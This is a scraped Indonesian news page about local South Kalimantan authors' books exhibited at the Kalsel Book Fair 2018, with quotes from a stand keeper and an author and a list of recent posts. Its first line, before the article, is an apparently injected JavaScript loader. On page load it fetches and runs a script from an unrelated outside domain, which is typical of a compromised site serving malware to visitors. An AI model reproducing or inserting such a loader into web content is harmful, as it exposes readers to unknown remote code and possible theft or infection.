(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

67 Judul Buku Karya Tulis Penulis Banua Hadir di Kalsel Book Fair 2018


BANJARBARU, Sekitar 67 judul buku karya tulis penulis (Penulis Kalsel) mengisi dua stand yang ada di acara Kalsel Book Fair 2018.  Terlihat buku-buku karya tulis penulis banua seperti Pohon Tanpa Hutan Karya He Benyamin, Yuk Kita Balajar Bahasa Banjar karya Aliansyah Jumbawuya, Matahari dala Hujan karya Rika dan masih banyak lagi karya penulis lainnya, bahkan ada Langkah Kecil karya seorang penulis muda Kalsel bernama Meutia Swarna Maharani.

Salah seorang penjaga stand menyampaikan, stand yang ditempati merupakan stand yang digratiskan oleh Kepala Dinas Perpustakaan dan Kearsipan Kalsel Hj Nurliani Dardie.  Setiap tahunnya memang selalu disediakan stand untuk ditempati buku-buku penulis banua.  “Tahun ini disediakan dua stand untuk digunakan,” katanya kepada Kanal Kalimantan, Minggu (31/3).

Dahlia mengatakan, stand ini buku-buku yang dipamerkan di stand merupakan buku-buku karya penulis banua yang diterbitkan oleh penerbit loka, “untuk buku yang diterbitkan oleh penerbit mayor, itu tanggung jawab penerbitnya,” pungkasnya.

Dia menambahkan, kepada para penulis tidak dipungut bayaran (gratis, red), namun pihaknya hanya mengambil 20% dari hasil penjualan satu buah buku yang terjual, “hanya persetasi untuk pengelola stand dari hasil penjualan,”pungkasnya.

Salah satu penulis Banua Sandy Firly menyambut baik dengan adanya stand yang disediakan untuk penulis banua khususnya untuk mengenalkan dunia literasi di Banua, “dan agar masyarakat juga tahu siapa saja penulis kalsel,”pungkasnya

Dia menambahkan, KBF sangat penting. Masyarakat bisa mendapatkan buku-buku dengan harga yang lebih murah. “Namun yg lebih esensi, KBF tentu suatu upaya bagaimana mendekatkan buku ke tengah-tengah masyarakat, dengan harapan minat baca masyarakat bisa lebih meningkat,”bebernya.

“KBF tahun ini semakin baik dan harus semakin baik. Baik buku-buku yg tersedia, maupun temu penulis yang dihadirkan. Seperti kali ini menghadirkan Sapardi Djoko Damono, Dewi Lestari, dan lain-lain,” tutupnya. (abdullah)

Reporter : Abdullah
Editor : Chell

Desy Arfianty

Recent Posts

Aksi Mahasiswa Hari Pangan Sedunia: Proyek HPS 2018 Jejangkit Gagal, Muncul Kelapa Sawit

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Pangan Sedunia 2024, puluhan mahasiswa di Ibu Kota Provinsi Kalimantan… Read More

11 jam ago

BRI-Pos Indonesia Luncurkan Fitur “Kirim Barang” melalui PosAja! di BRImo

KANALKALIMANTAN.COM, JAKARTA – PT Bank Rakyat Indonesia (Persero) Tbk memperkuat komitmen dalam menyediakan layanan yang… Read More

13 jam ago

Telur Ras Turun Naik di Pasar Bauntung Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan… Read More

16 jam ago

Habaib dan Ulama Banjarbaru Sepakat Menangkan Aditya-Said Abdullah

KANALKALIMANTAN.COM, BANJARBARU - Momentum masyarakat Banjarbaru merayakan pesta demokrasi terjadi di kampanye terbuka pasangan Wali… Read More

19 jam ago

Bawaslu Batola Dorong Partisipasi Masyarakat Awasi Pelanggaran Pilkada

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilu (Bawaslu) Kabupaten Barito Kuala menggelar rapat koordinasi dalam rangka… Read More

20 jam ago

Harga Cabai Turun di Pasar Bauntung Banjarbaru, Bawang Merah Naik

KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More

21 jam ago

This website uses cookies.